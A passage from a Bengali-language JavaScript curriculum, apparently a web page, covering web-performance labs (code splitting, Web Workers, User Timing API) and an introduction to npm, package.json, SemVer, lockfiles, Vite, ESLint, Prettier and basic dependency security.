  settings: () => import('./views/settings.js')
};

// In-Memory Component Cache (একবার লোড হলে আর নেটওয়ার্ক কল হবে না)
const componentCache = new Map();
const contentArea = document.getElementById('dashboard-view');

async function navigateTab(routeKey) {
  if (!routeManifest[routeKey]) return;

  // ক্যাশ চেক
  if (componentCache.has(routeKey)) {
    console.log(`⚡ [Cache Hit] Rendering cached tab: ${routeKey}`);
    const cachedRender = componentCache.get(routeKey);
    cachedRender(contentArea);
    return;
  }

  // ক্যাশ মিস: নেটওয়ার্ক থেকে চাঙ্ক লোড
  contentArea.innerHTML = '<div class="loader-spinner">Loading view module...</div>';
  try {
    const module = await routeManifest[routeKey]();
    componentCache.set(routeKey, module.render); // ক্যাশে সেভ
    module.render(contentArea);
    console.log(`🌐 [Network Load] Module loaded & cached: ${routeKey}`);
  } catch (err) {
    contentArea.innerHTML = '<div class="error-msg">Failed to load view. Check connection.</div>';
  }
}

// Event Delegation on Tab Buttons
document.getElementById('tab-nav').addEventListener('click', (e) => {
  if (e.target.matches('button[data-route]')) {
    navigateTab(e.target.dataset.route);
  }
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: রুট-বেসড কোড স্প্লিটিং ইনিশিয়াল লোড সাইজ ৬০-৮০% কমিয়ে দেয় এবং ইন-মেমোরি ক্যাশিংয়ের কারণে একবার ভিজিট করা ট্যাবে ইন্সট্যান্ট সুইচিং ঘটে।
Lab #10 [ADVANCED] — Off-Main-Thread 100k JSON Data Processing with Web Worker

সমস্যা ও লক্ষ্য: ১ লক্ষ আইটেমের বিশাল JSON ডেটাসেট ফিল্টারিং ও সর্টিং করার সময় মেইন থ্রেড যাতে ১ মিলিমিটারও ফ্রিজ না হয় তার জন্য Web Worker সলিউশন।

SOLUTION IMPLEMENTATION (LAB #10)JAVASCRIPT
// --- MAIN THREAD SCRIPT (app.js) ---
const worker = new Worker('./workers/dataProcessor.worker.js');
const statusBadge = document.getElementById('status-badge');

// ১. বিশাল ডেটাসেট প্রসেসিংয়ের জন্য ওয়ার্কারের কাছে পাঠানো
function processDataset(heavyData, filterKeyword) {
  statusBadge.textContent = 'Processing 100k items in Background Worker...';
  console.time('Worker Processing Time');

  worker.postMessage({
    action: 'FILTER_AND_SORT',
    payload: heavyData,
    keyword: filterKeyword
  });
}

// ২. ওয়ার্কার থেকে ফলাফল রিসিভ
worker.onmessage = function(e) {
  const { sortedData, executionMs } = e.data;
  console.timeEnd('Worker Processing Time');
  statusBadge.textContent = `✅ Processed ${sortedData.length} records in ${executionMs}ms (Main thread stayed 60FPS!)`;
  renderTopResults(sortedData.slice(0, 50));
};

// --- WORKER SCRIPT (dataProcessor.worker.js) ---
// self.onmessage = function(e) {
//   const { payload, keyword } = e.data;
//   const t0 = performance.now();
//   const filtered = payload
//     .filter(item => item.name.toLowerCase().includes(keyword.toLowerCase()))
//     .sort((a, b) => b.score - a.score);
//   self.postMessage({ sortedData: filtered, executionMs: Math.round(performance.now() - t0) });
// };
💡 প্রোডাকশন অন্তর্দৃষ্টি: মেইন থ্রেড মুক্ত থাকায় ইউজার ড্রপডাউন ওপেন করা, টাইপ করা বা স্ক্রল করার সময় কোনো লং-টাস্ক (&gt;50ms) তৈরি হয় না এবং INP স্কোর চমৎকার থাকে।
Lab #11 [ADVANCED] — Programmatic Performance Profiling with User Timing API

সমস্যা ও লক্ষ্য: Chrome DevTools Performance প্যানেলে কাস্টম টাইমলাইন মেজারমেন্ট দেখতে performance.mark() ও performance.measure() দিয়ে কোড প্রোফাইলিং।

SOLUTION IMPLEMENTATION (LAB #11)JAVASCRIPT
// ১. শুরু চিহ্নিত করা
performance.mark('data-fetch-start');

async function benchmarkDataFetch() {
  const res = await fetch('https://jsonplaceholder.typicode.com/posts');
  const data = await res.json();
  
  performance.mark('data-fetch-end');
  
  // ২. ফেচিংয়ের সময় পরিমাপ
  performance.measure('Data Fetch Duration', 'data-fetch-start', 'data-fetch-end');

  // ৩. DOM রেন্ডারিং পরিমাপ
  performance.mark('dom-render-start');
  const frag = document.createDocumentFragment();
  data.slice(0, 100).forEach(post => {
    const div = document.createElement('div');
    div.textContent = post.title;
    frag.appendChild(div);
  });
  document.getElementById('benchmark-container').appendChild(frag);
  performance.mark('dom-render-end');

  performance.measure('DOM Batch Rendering Duration', 'dom-render-start', 'dom-render-end');

  // ৪. মেজারমেন্ট ফলাফল কনসোলে বিশ্লেষণ
  const measures = performance.getEntriesByType('measure');
  measures.forEach(m => console.log(`⏱️ [Metric] ${m.name}: ${m.duration.toFixed(2)} ms`));
  
  // মেমোরি পরিষ্কার
  performance.clearMarks();
  performance.clearMeasures();
}

benchmarkDataFetch();
💡 প্রোডাকশন অন্তর্দৃষ্টি: User Timing API এর মাধ্যমে মেজারগুলো সরাসরি Chrome DevTools Performance ট্যাব-এর 'Timings' ট্র্যাকে দেখা যায়, যা বটleneck চিহ্নিত করতে অত্যন্ত কার্যকর।
Lab #12 [ADVANCED] — End-to-End Production Performance Case Study & Audit Scorecard

সমস্যা ও লক্ষ্য: একটি ধীরগতির ইকমার্স প্রোডাক্ট পেজ অপ্টিমাইজেশনের বাস্তব কেস স্টাডি: Before vs After মেজারমেন্ট এবং স্পষ্ট অডিট রিপোর্ট।

SOLUTION IMPLEMENTATION (LAB #12)JAVASCRIPT
/*
================================================================================
  REAL-WORLD E-COMMERCE PERFORMANCE CASE STUDY (BEFORE VS AFTER AUDIT)
================================================================================

[PROBLEM AUDIT - BEFORE OPTIMIZATION]:
  * Initial JS Bundle: 1.8 MB (Monolithic bundle, zero code splitting)
  * Hero & Product Images: Uncompressed PNGs (Total 4.5 MB, no lazy loading)
  * Scroll Listener: Un-throttled scroll event recalculating layout on every tick
  * HTTP Cache: Missing Cache-Control headers, re-downloading static files on reload
  * Lighthouse Performance Score: 38 / 100
  * LCP (Largest Contentful Paint): 5.4 seconds (POOR ❌)
  * INP (Interaction to Next Paint): 480 ms (POOR ❌)
  * CLS (Cumulative Layout Shift): 0.38 (POOR ❌)

[OPTIMIZATION INTERVENTIONS APPLIED]:
  1. Image Pipeline: Converted all PNGs to AVIF/WebP, added width/height & loading="lazy".
  2. Code Splitting: Split checkout & heavy charts via dynamic import() (Bundle reduced to 280 KB).
  3. Layout Thrashing Elimination: Replaced synchronous DOM reads with DocumentFragment & rAF.
  4. Network & Cache: Configured Cloudflare CDN with Cache-Control: max-age=31536000, immutable.
  5. Scroll Events: Added throttle(300ms) with { passive: true } on window scroll listeners.

[VERIFICATION RESULTS - AFTER OPTIMIZATION]:
  * Initial JS Bundle: 280 KB (84% Size Reduction ✅)
  * Image Transfer Weight: 420 KB (90% Size Reduction ✅)
  * Lighthouse Performance Score: 98 / 100 (FAST 🚀)
  * LCP: 1.2 seconds (GOOD ✅ < 2.5s)
  * INP: 45 ms (GOOD ✅ < 200ms)
  * CLS: 0.02 (GOOD ✅ < 0.1)
================================================================================
*/
💡 প্রোডাকশন অন্তর্দৃষ্টি: প্রোডাকশনে পারফরম্যান্স অপ্টিমাইজেশন শুধু একটি টেকনিক নয়; এটি নেটওয়ার্ক, বান্ডলিং, ব্রাউজার রেন্ডারিং এবং ডেটাবেস ক্যাশিংয়ের একটি সামগ্রিক ইঞ্জিনিয়ারিং কালচার।
33.73 🎯 Final Mental Map — পারফরম্যান্স অপ্টিমাইজেশনের পূর্ণাঙ্গ মানচিত্র

পুরো Chapter 33-এর সকল মেকানিজম ও আর্কিটেকচারাল কানেকশন একসাথে:

⚡ FULL PERFORMANCE ARCHITECTURE MAP
WEB PERFORMANCE ECOSYSTEM
                               
        ────────────────────────────────────────────
                                                    
     NETWORK                BROWSER                JAVASCRIPT
                                                    
     HTTP/2 & HTTP/3        DOM + CSSOM            Code Splitting
     CDN Edge Delivery      Critical Path          Tree Shaking
     Brotli Compression     Layout & Reflow        Minification
     Cache-Control Headers  Paint & GPU Composite  Debounce & Throttle
     Preload & Prefetch     DocumentFragment       Web Workers
                                                    
        ────────────────────────────────────────────
                               
                               
                        USER EXPERIENCE
                               
            ────────────────────────────────────
                                                
           LCP                INP                CLS
       (Loading Speed)    (Responsiveness)   (Visual Stability)
          < 2.5s              < 200ms             < 0.10
        [GOOD ]             [GOOD ]            [GOOD ]
🏆 এক লাইনে Chapter 33: Web Performance & Optimization হলো ব্রাউজারের নেটওয়ার্ক, ক্রিটিক্যাল রেন্ডারিং পাথ, জাভাস্ক্রিপ্ট বান্ডেল, মেমোরি ও ইভেন্ট এক্সিকিউশনকে এমনভাবে অপ্টিমাইজ করা যাতে অ্যাপ্লিকেশন চোখের পলকে লোড হয়, ফ্রেম ড্রপ ছাড়া রেসপন্ড করে এবং কম রিসোর্সে সর্বোচ্চ ইউজার এক্সপেরিয়েন্স দেয়।
🔗 Curriculum Progression: Chapter 32 → 33 → 34
⚡ ROADMAP CONTINUITY PIPELINE
Chapter 32: Advanced Browser APIs
       
Browser-এর গভীর প্ল্যাটফর্ম সক্ষমতা (Workers, Observers, Sockets, IndexedDB)
       
Chapter 33: Web Performance & Optimization (THIS CHAPTER)
       
ব্রাউজারের সেই সক্ষমতা সর্বোচ্চ গতি, রিসোর্স সাশ্রয় ও 60FPS-এ পরিচালনা
       
Chapter 34: NPM & Modern JavaScript Tooling
       
প্যাকেজ ম্যানেজমেন্ট, বিল্ড টুলস (Vite/Webpack), ট্রান্সপাইলার ও অটোমেটেড ওয়ার্কফ্লো
Chapter 34
↑ Index
NPM, Package Management & Tooling — এনপিএম ও প্যাকেজ ম্যানেজমেন্ট
Total Modules
65 Modules + 13 Practice Labs
Curriculum Part
Part 28 — NPM & Tooling Ecosystem
Core Mechanics
SemVer, Lockfiles, Vite, ESLint, Prettier
Reference Standard
Node.js LTS / NPM v10+ Living Standard 2026
📦 NPM & Modern JavaScript Tooling — প্রজেক্ট আর্কিটেকচার ও প্রোডাকশন পাইপলাইন

বাস্তব দুনিয়ায় প্রফেশনাল জাভাস্ক্রিপ্ট অ্যাপ্লিকেশন কখনো শূন্য থেকে একা তৈরি করা হয় না। বিশ্বজুড়ে লক্ষ লক্ষ ডেভেলপারের তৈরি প্যাকেজ নিরাপদে ম্যানেজ করা, নির্ভুল ডিপেনডেন্সি লক রাখা এবং স্বয়ংক্রিয় বিল্ড ও লিন্টিং পাইপলাইন পরিচালনা করাই হলো আধুনিক সফটওয়্যার ইঞ্জিনিয়ারিংয়ের মূল ভিত্তি। এই চ্যাপ্টারে আমরা package.json, Semantic Versioning (SemVer), Lockfiles, npm vs npx, Vite, Bundlers, Tree Shaking, ESLint, Prettier, .env সিকিউরিটি এবং CI/CD প্রোডাকশন ডিপ্লয়মেন্ট শিখব।

📌 1. package.json & Node
📌 2. SemVer Architecture
📌 3. Lockfile & npm ci
📌 4. Dependencies vs Dev
📌 5. npm scripts & npx
📌 6. Vite & Bundling
📌 7. Tree Shaking & Maps
📌 8. ESLint & Prettier
📌 9. .env & Security Audit
📌 10. CI/CD Deployment
Part 01 — Package Concepts, Node Ecosystem & Project Initialization (34.1 – 34.5)
34.1 Package কী?

Package হলো reusable code-এর একটি collection, যেটা অন্য developer নিজের project-এ ব্যবহার করতে পারে। ধরো তুমি নিজে একটা function লিখলে:

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
    return a + b;
}

কিন্তু একজন developer এমন একটি library তৈরি করল যেখানে হাজার হাজার useful function আছে। তুমি সেই library install করে ব্যবহার করতে পারো।

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Your Project
     
     ── Your Code
     
     ── External Packages
            
            ── React
            ── Express
            ── Axios
            ── Lodash
            ── etc.
34.2 NPM কী?

NPM = Node Package Manager এটি JavaScript ecosystem-এর সবচেয়ে পরিচিত package manager-গুলোর একটি। NPM দিয়ে আমরা:

  • package install
  • package uninstall
  • package update
  • dependency manage
  • scripts run
  • project initialize

ইত্যাদি করতে পারি।

🔹 Example
TERMINAL COMMANDBASH
npm install lodash

এখানে:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
npm
 
install
 
lodash
34.3 Node.js এবং NPM-এর সম্পর্ক

Node.js install করলে সাধারণত npm-ও পাওয়া যায়। Check করতে:

TERMINAL COMMANDBASH
node -v
TERMINAL COMMANDBASH
npm -v

Example:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
v24.x.x
11.x.x

তোমার নিজের system-এ exact version আলাদা হতে পারে।

34.4 Project Initialize করা

একটি নতুন folder:

TERMINAL COMMANDBASH
mkdir my-project
cd my-project

তারপর:

TERMINAL COMMANDBASH
npm init

এটি কিছু প্রশ্ন করবে। আর দ্রুত default configuration চাইলে:

TERMINAL COMMANDBASH
npm init -y

এতে তৈরি হবে:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
package.json
34.5 package.json কী?

package.json হলো JavaScript/Node project-এর project configuration এবং dependency manifest file। Example:

PACKAGE MANIFEST (JSON)JSON
{
  "name": "my-project",
  "version": "1.0.0",
  "description": "My JavaScript project",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "dependencies": {},
  "devDependencies": {}
}

এটি project-এর গুরুত্বপূর্ণ information ধরে রাখে।

Part 02 — Anatomy of package.json, Core Fields & Semantic Versioning (34.6 – 34.11)
34.6 package.json-এর গুরুত্বপূর্ণ fields
Fieldকাজ
nameProject/package name
versionProject version
descriptionProject description
mainEntry point
scriptsCommands
dependenciesProduction dependencies
devDependenciesDevelopment dependencies
typeModule system
enginesRuntime version requirements
34.7 name
PACKAGE MANIFEST (JSON)JSON
{
  "name": "my-project"
}

এটি project/package-এর নাম। সাধারণত lowercase এবং npm naming rules অনুসরণ করা হয়।

34.8 version
PACKAGE MANIFEST (JSON)JSON
{
  "version": "1.0.0"
}

এটি project/package-এর current version। এখানেই আসে Semantic Versioning

34.9 Semantic Versioning — SemVer

সাধারণ format:

📦 SEMANTIC VERSIONING (SEMVER) SPECIFICATION
MAJOR.MINOR.PATCH

Example:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
2.5.3

মানে:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
2  Major
5  Minor
3  Patch
📦 Major

Breaking changes:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
1.0.0

2.0.0

আগের code compatibility নষ্ট হতে পারে।

📦 Minor

নতুন backward-compatible feature:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
1.2.0

1.3.0
📦 Patch

Bug fix:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
1.2.3

1.2.4
34.10 Dependency কী?

Dependency হলো এমন package যার ওপর তোমার project নির্ভর করে। ধরো:

TERMINAL COMMANDBASH
npm install express

তাহলে express project-এর dependency। package.json:

PACKAGE MANIFEST (JSON)JSON
{
  "dependencies": {
    "express": "^5.1.0"
  }
}
34.11 Real-life Example

ধরো তুমি restaurant বানাচ্ছো। তোমার restaurant:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Restaurant
   
   ── Chef
   ── Waiter
   ── Kitchen
   ── Electricity

Electricity ছাড়া restaurant চলবে না। ঠিক তেমনি:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Your App
   
   ── React
   ── Express
   ── Database Driver
   ── Other Packages

এগুলো application-এর dependency হতে পারে।

Part 03 — Package Installation, node_modules & Lockfiles (34.12 – 34.16)
34.12 npm install

Package install:

TERMINAL COMMANDBASH
npm install lodash

Short form:

TERMINAL COMMANDBASH
npm i lodash

এটি সাধারণত: 1. package download করে 2. node_modules তৈরি/আপডেট করে 3. package.json update করে 4. lockfile update করে

34.13 node_modules

Package install করার পর:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
my-project/

── node_modules/
── package.json
── package-lock.json
── index.js

node_modules-এর মধ্যে installed packages থাকে। উদাহরণ:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
node_modules/
── lodash/
── express/
── ...

# 🔥 node_modules GitHub-এ commit করা উচিত? সাধারণত: না। .gitignore:

CONFIG FILE (GITIGNORE)ENV
node_modules/

কারণ অন্য developer:

TERMINAL COMMANDBASH
npm install

দিয়ে dependencies install করতে পারে।

34.14 package-lock.json

এটি dependency tree-এর exact resolved versions এবং related metadata lock করে রাখে। Example:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
package.json
      
Version range
      
package-lock.json
      
Exact dependency resolution

এটি team এবং CI/CD environment-এ consistent installation-এর জন্য গুরুত্বপূর্ণ।

34.15 package.json vs package-lock.json
package.jsonpackage-lock.json
Project/dependency declarationResolved dependency tree lock
Version range থাকতে পারেExact resolved versions record করে
Human-editedসাধারণত npm manage করে
Project configurationReproducible installation-এ সাহায্য করে
🔹 GitHub-এ কোনটা রাখব?
📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
package.jsonpackage-lock.jsonnode_modules
34.16 npm install বনাম npm ci
🔹 npm install
TERMINAL COMMANDBASH
npm install

সাধারণত dependency install/update resolution করতে পারে এবং lockfile update করতে পারে।

🔹 npm ci
TERMINAL COMMANDBASH
npm ci

Clean, reproducible installation-এর জন্য ব্যবহৃত হয়, বিশেষ করে CI/CD-তে। এটি lockfile-এর ওপর বেশি strict।

🔹 Real-life
📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Developer Machine
      
npm install

CI/CD Server
      
npm ci
Part 04 — Dependencies vs DevDependencies & Package Lifecycle (34.17 – 34.22)
34.17 Dependency vs DevDependency

এটি খুব important।

📦 Dependency

Application চালানোর সময় দরকার:

TERMINAL COMMANDBASH
npm install express

package.json:

PACKAGE MANIFEST (JSON)JSON
{
  "dependencies": {
    "express": "^5.1.0"
  }
}
📦 DevDependency

Development-এর সময় দরকার:

TERMINAL COMMANDBASH
npm install -D eslint

অথবা:

TERMINAL COMMANDBASH
npm install --save-dev eslint

Result:

PACKAGE MANIFEST (JSON)JSON
{
  "devDependencies": {
    "eslint": "^9.x"
  }
}
34.18 Example

ধরো React project:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
dependencies
── react
── react-dom

devDependencies
── vite
── eslint
── prettier

সহজভাবে:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Application Runtime
       
dependencies

Development / Build / Testing
       
devDependencies

⚠️ Exact production bundling behavior tool/platform অনুযায়ী ভিন্ন হতে পারে, তাই শুধু category দেখে package runtime-এ থাকবে/থাকবে না এমন universal assumption করা ঠিক নয়।

34.19 Package Install-এর বিভিন্ন form
🔹 Normal
TERMINAL COMMANDBASH
npm install axios
🔹 Dev dependency
TERMINAL COMMANDBASH
npm install -D eslint
🔹 Specific version
TERMINAL COMMANDBASH
npm install lodash@4.17.21
🔹 Latest
TERMINAL COMMANDBASH
npm install lodash@latest
🔹 Global
TERMINAL COMMANDBASH
npm install -g some-package

Global install প্রয়োজন অনুযায়ী ব্যবহার করা হয়; project dependencies-এর জন্য সাধারণত local install preferred।

34.20 Package Uninstall
TERMINAL COMMANDBASH
npm uninstall lodash

অথবা:

TERMINAL COMMANDBASH
npm remove lodash
34.21 Package Update
TERMINAL COMMANDBASH
npm update

Specific package:

TERMINAL COMMANDBASH
npm update lodash

Installed packages দেখতে:

TERMINAL COMMANDBASH
npm list

Top-level packages:

TERMINAL COMMANDBASH
npm list --depth=0
34.22 npm outdated

কোন package outdated তা দেখতে:

TERMINAL COMMANDBASH
npm outdated

Example:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Package   Current   Wanted   Latest
react     18.x      18.x     19.x

Concept:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
Current  এখন installed
Wanted   package.json-এর allowed range-এর মধ্যে update
Latest   registry-এর latest version
Part 05 — NPM Registry, Package Discovery & Metadata Search (34.23 – 34.26)
34.23 NPM Registry

NPM package সাধারণত registry থেকে পাওয়া যায়। Concept:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
Developer
    
npm install react
    
NPM Registry
    
Package download
    
node_modules
34.24 npm search

Package খুঁজতে:

TERMINAL COMMANDBASH
npm search express

তবে modern development-এ official documentation, package repository এবং trusted sources দেখে package নির্বাচন করা ভালো।

34.25 npm info

Package সম্পর্কে information:

TERMINAL COMMANDBASH
npm info express

Specific version:

TERMINAL COMMANDBASH
npm info express version
34.26 npm view

Example:

TERMINAL COMMANDBASH
npm view react version

এটি registry থেকে package metadata দেখতে সাহায্য করে।

Part 06 — NPM Scripts Automation & Development Task Pipelines (34.27 – 34.30)
34.27 NPM Scripts

package.json:

PACKAGE MANIFEST (JSON)JSON
{
  "scripts": {
    "start": "node index.js",
    "dev": "node --watch index.js",
    "test": "node test.js"
  }
}

Run:

TERMINAL COMMANDBASH
npm run dev
TERMINAL COMMANDBASH
npm start
TERMINAL COMMANDBASH
npm test
34.28 npm run কী করে?
TERMINAL COMMANDBASH
npm run dev

মানে:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
npm
 
package.json
 
scripts
 
dev
 
associated command
34.29 npm start

Special shorthand:

TERMINAL COMMANDBASH
npm start

এটি:

TERMINAL COMMANDBASH
npm run start

এর equivalent। একইভাবে:

TERMINAL COMMANDBASH
npm test

special script হিসেবে ব্যবহার করা যায়।

34.30 Practical Example — Scripts

package.json:

PACKAGE MANIFEST (JSON)JSON
{
  "scripts": {
    "dev": "vite",
    "build": "vite build",
    "preview": "vite preview"
  }
}

Commands:

TERMINAL COMMANDBASH
npm run dev
TERMINAL COMMANDBASH
npm run build
TERMINAL COMMANDBASH
npm run preview

React/Vite project-এ এ ধরনের scripts খুব common।

Part 07 — npx Runner, Modern Bundlers & Vite Architecture (34.31 – 34.35)
34.31 npx কী?

npx package-এর executable command run করতে ব্যবহৃত হয়। Example:

TERMINAL COMMANDBASH
npx vite

আরেকটি common pattern:

TERMINAL COMMANDBASH
npx create-vite

এটি package command চালানোর জন্য ব্যবহৃত হয়।

🔹 সহজ পার্থক্য
📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
npm install
    
Package install/manage

npx
    
Package executable run
34.32 npx কি package install করে?

npx প্রয়োজন অনুযায়ী package executable resolve/download/cache করে run করতে পারে। তাই:

TERMINAL COMMANDBASH
npx some-tool

মানে সবসময় permanent local dependency হিসেবে project-এ install হয়ে গেছে—এমন নয়।

34.33 Vite কী?

Vite হলো modern frontend development/build tool। React project তৈরি:

TERMINAL COMMANDBASH
npm create vite@latest

তারপর:

TERMINAL COMMANDBASH
npm install

Run:

TERMINAL COMMANDBASH
npm run dev
34.34 Vite কী করে?

Development-এর সময়:

📦 MODERN BUILD & BUNDLING PIPELINE
Your Code
   
Vite Dev Server
   
Browser

Production build:

📦 MODERN BUILD & BUNDLING PIPELINE
Source Code
     
Vite Build
     
Optimized Assets
     
dist/
34.35 Build কী?

Development source code production-এর জন্য optimize করে output তৈরি করাকে broadly build process বলা হয়। Example:

TERMINAL COMMANDBASH
npm run build

Output:

📦 MODERN BUILD & BUNDLING PIPELINE
dist/
── index.html
── assets/
   ── index-xxxx.js
   ── index-xxxx.css
Part 08 — Build Pipelines, Tree Shaking, Minification & Source Maps (34.36 – 34.40)
34.36 Development vs Production
🔹 Development
TERMINAL COMMANDBASH
npm run dev

সাধারণত:

  • fast feedback
  • hot reload/HMR
  • debugging
  • source-oriented workflow
🔹 Production
TERMINAL COMMANDBASH
npm run build

সাধারণত:

  • optimized assets
  • minification
  • bundling/chunking
  • deployment-ready output
34.37 Bundler কী?

একটি modern frontend application-এ অনেক module থাকতে পারে:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
main.js
 ── utils.js
 ── api.js
 ── components.js
 ── styles.css

Build tooling এগুলো process করে browser-এর জন্য optimized assets তৈরি করতে পারে। এখানে bundling/chunking/module transformation-এর মতো কাজ হতে পারে।

34.38 Tree Shaking

Unused code বাদ দেওয়ার optimization-কে tree shaking বলা হয়। ধরো:

JAVASCRIPT SourceJAVASCRIPT
export function add() {}

export function subtract() {}

export function multiply() {}

তুমি শুধু:

JAVASCRIPT SourceJAVASCRIPT
import { add } from "./math.js";

ব্যবহার করলে build tool বুঝতে পারে অন্য exports ব্যবহৃত হচ্ছে না এবং production output-এ সেগুলো বাদ দেওয়ার সুযোগ পেতে পারে। ⚠️ Tree shaking সবসময় perfect হয় না; static analyzability এবং package/module structure গুরুত্বপূর্ণ।

34.39 Minification

Code-এর unnecessary whitespace/comments ইত্যাদি কমিয়ে output ছোট করা হয়। Before:

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
    return a + b;
}

Production output conceptually এমন হতে পারে:

JAVASCRIPT SourceJAVASCRIPT
function add(a,b){return a+b}

এতে download size কমতে পারে।

34.40 Source Map

Production/minified code debug করতে source map সাহায্য করে। Concept:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Original Code
     
Build
     
Minified Code
     +
Source Map
     
DevTools
     
Original source mapping

সাধারণত:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
.js
.js.map

দেখতে পাওয়া যেতে পারে।

Part 09 — Code Quality Engineering: ESLint, Prettier & Linter Synergy (34.41 – 34.44)
34.41 ESLint

ESLint JavaScript/TypeScript code-এর সমস্যা, ভুল pattern এবং style-related issues detect করতে সাহায্য করে। Example:

JAVASCRIPT SourceJAVASCRIPT
const x = 10

তোমার ESLint configuration অনুযায়ী semicolon বা অন্যান্য rule নিয়ে warning/error দিতে পারে। Install:

TERMINAL COMMANDBASH
npm install -D eslint

তারপর project অনুযায়ী configuration setup করা হয়।

34.42 ESLint কেন?
📦 CODE QUALITY & LINTER WORKFLOW
Code
 
ESLint
 
Problems / Warnings
 
Fix
 
Better Code

এটি:

  • bugs detect করতে সাহায্য করে
  • consistent code style maintain করতে সাহায্য করে
  • team development সহজ করে
34.43 Prettier

Prettier হলো code formatter। Example: Before:

JAVASCRIPT SourceJAVASCRIPT
const user={name:"Ripon",age:24};

Prettier এটাকে format করতে পারে:

JAVASCRIPT SourceJAVASCRIPT
const user = {
  name: "Ripon",
  age: 24,
};

Install:

TERMINAL COMMANDBASH
npm install -D prettier
34.44 ESLint vs Prettier
ESLintPrettier
Code quality/lintingFormatting
Potential problems detectCode format করে
RulesLayout/style
Bug-prone patterns detect করতে পারেConsistent appearance

দুটো একসাথে ব্যবহার করা খুব common।

Part 10 — Environment Variables, .env, .gitignore & Supply Chain Security (34.45 – 34.48)
34.45 Environment Variables

Environment-specific configuration রাখার জন্য environment variables ব্যবহার করা হয়। Example:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
API_URL=https://api.example.com

Node.js-এ:

JAVASCRIPT SourceJAVASCRIPT
console.log(process.env.API_URL);
34.46 .env File

Example:

CONFIG FILE (ENV)ENV
PORT=5000
DATABASE_URL=...
API_URL=https://api.example.com

Node.js application-এ environment variables load করার জন্য runtime/tool অনুযায়ী ব্যবস্থা লাগে। # ⚠️ খুব গুরুত্বপূর্ণ Security Rule Frontend application-এ environment variable লিখলেই সেটা secret হয় না। যেমন:

CONFIG FILE (ENV)ENV
VITE_API_KEY=123456

Vite-এর frontend build-এ expose করা variable browser-এর কাছে চলে যেতে পারে। তাই:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Frontend
❌ Secret API key
❌ Database password
❌ Private credentials
❌ Server secret

Frontend-এ কখনো real secret রাখবে না।

34.47 .gitignore

Sensitive/local/generated files Git থেকে বাদ দিতে:

CONFIG FILE (GITIGNORE)ENV
node_modules/
.env
dist/

কিন্তু project-specific rules অনুযায়ী .env.example রাখা যেতে পারে:

CONFIG FILE (ENV)ENV
PORT=
DATABASE_URL=
API_URL=

এতে team বুঝতে পারে কোন variables প্রয়োজন।

34.48 Package Security

External package ব্যবহার মানেই security risk-এর possibility থাকে। Check:

TERMINAL COMMANDBASH
npm audit

Fix attempt:

TERMINAL COMMANDBASH
npm audit fix

Package update:

TERMINAL COMMANDBASH
npm update

কিন্তু blindly:

TERMINAL COMMANDBASH
npm audit fix --force

ব্যবহার করা উচিত নয়। কারণ breaking changes আসতে পারে।

Part 11 — Dependency Trees, SemVer Carets/Tildes & Global Packages (34.49 – 34.55)
34.49 Dependency Tree

একটি package-এর নিজের dependency থাকতে পারে।

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Your App
   
   ── Package A
        
        ── Package B
        
        ── Package C
              
              ── Package D

এজন্য node_modules অনেক বড় হতে পারে।

34.50 Direct vs Transitive Dependency
🔹 Direct dependency

তুমি নিজে install করেছো:

TERMINAL COMMANDBASH
npm install express
🔹 Transitive dependency

Express-এর dependency হিসেবে অন্য package এসেছে।

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Your App
   
Express
   
Other Package
34.51 Version Ranges

package.json-এ:

PACKAGE MANIFEST (JSON)JSON
{
  "dependencies": {
    "example": "^1.2.3"
  }
}

এখানে ^ version range বোঝায়। আর:

PACKAGE MANIFEST (JSON)JSON
"example": "~1.2.3"

এর behavior আলাদা।

34.52 ^ এবং ~

সাধারণ SemVer context-এ:

🔹 Caret
📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
^1.2.3

সাধারণত compatible minor/patch updates allow করে, কিন্তু 2.0.0 নয়।

🔹 Tilde
📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
~1.2.3

সাধারণত patch-level updates-এর মধ্যে থাকে। ⚠️ Exact behavior package versioning rules এবং major version (0.x) অনুযায়ী nuance থাকতে পারে।

34.53 Exact Version
PACKAGE MANIFEST (JSON)JSON
{
  "dependencies": {
    "example": "1.2.3"
  }
}

এতে range না রেখে exact version declare করা হয়। কিন্তু reproducible installation-এর জন্য lockfile-ও গুরুত্বপূর্ণ।

34.54 Global vs Local Package
🔹 Local
TERMINAL COMMANDBASH
npm install eslint

থাকে:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
project/node_modules/
🔹 Global
TERMINAL COMMANDBASH
npm install -g ...

